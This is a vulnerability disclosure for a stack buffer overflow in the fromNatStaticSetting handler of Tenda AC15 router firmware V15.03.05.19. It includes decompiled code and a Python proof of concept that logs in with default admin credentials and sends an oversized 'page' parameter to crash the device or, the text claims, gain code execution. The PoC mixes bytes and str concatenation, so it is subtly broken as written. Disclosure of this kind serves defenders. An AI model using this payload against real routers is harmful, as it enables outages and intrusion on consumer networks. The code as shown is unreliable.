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Tenda AC15 stack overflow vulnerability

* Version

V15.03.05.19 (US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin)

* Firmware

https://www.tenda.com.cn/download/detail-2680.html

* Vulnerability Detail

In function fromNatStaticSetting, the content obtained by the program from the parameter "page" is passed to local_1c, and then the local_1c is directly copied into the acStack288 stack through the sprintf function. There is no size check, so there is a stack overflow vulnerability. The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

void fromNatStaticSetting(undefined4 param_1)

{
  int iVar1;
  char acStack288 [256];
  undefined4 local_20;
  undefined4 local_1c;
  char *local_18;
  undefined4 local_14;
  
  local_14 = FUN_0002ba8c(param_1,"entrys",&DAT_000e58d0);
  local_18 = (char *)FUN_0002ba8c(param_1,"op",&DAT_000e58d8);
  FUN_0004ec58("adv.snat",local_14,0x7e);
  local_1c = FUN_0002ba8c(param_1,"page",&DAT_000e58f0);
  sprintf(acStack288,"nat_static.asp?page=%s",local_1c);  //here is overflow
  iVar1 = strncmp(local_18,"add",3);
  if ((iVar1 != 0) && (iVar1 = strncmp(local_18,"edit",4), iVar1 != 0)) {
    local_20 = FUN_0002ba8c(param_1,"isoncheck",&DAT_000e5924);
    SetValue("adv.snat.en",local_20);
  }
  iVar1 = CommitCfm();
  if (iVar1 != 0) {
    PostMsgToNetctrl(0x22);
  }
  FUN_0002be4c(param_1,acStack288);
  return;
}

* POC

import requests


cmd  = b'entrys=' + b'A' * 100 + '&op='
cmd += b'A'* 0x100 + '&page=' + 'A' * 800


url = b"http://192.168.2.2/login/Auth"
payload = b"http://192.168.2.2/goform/NatStaticSetting/?" + cmd

data = {
    "username": "admin",
    "password": "admin",
}

def attack():
    s = requests.session()
    resp = s.post(url=url, data=data)
    print(resp.content)
    resp = s.post(url=payload, data=data)
    print(resp.content)

attack()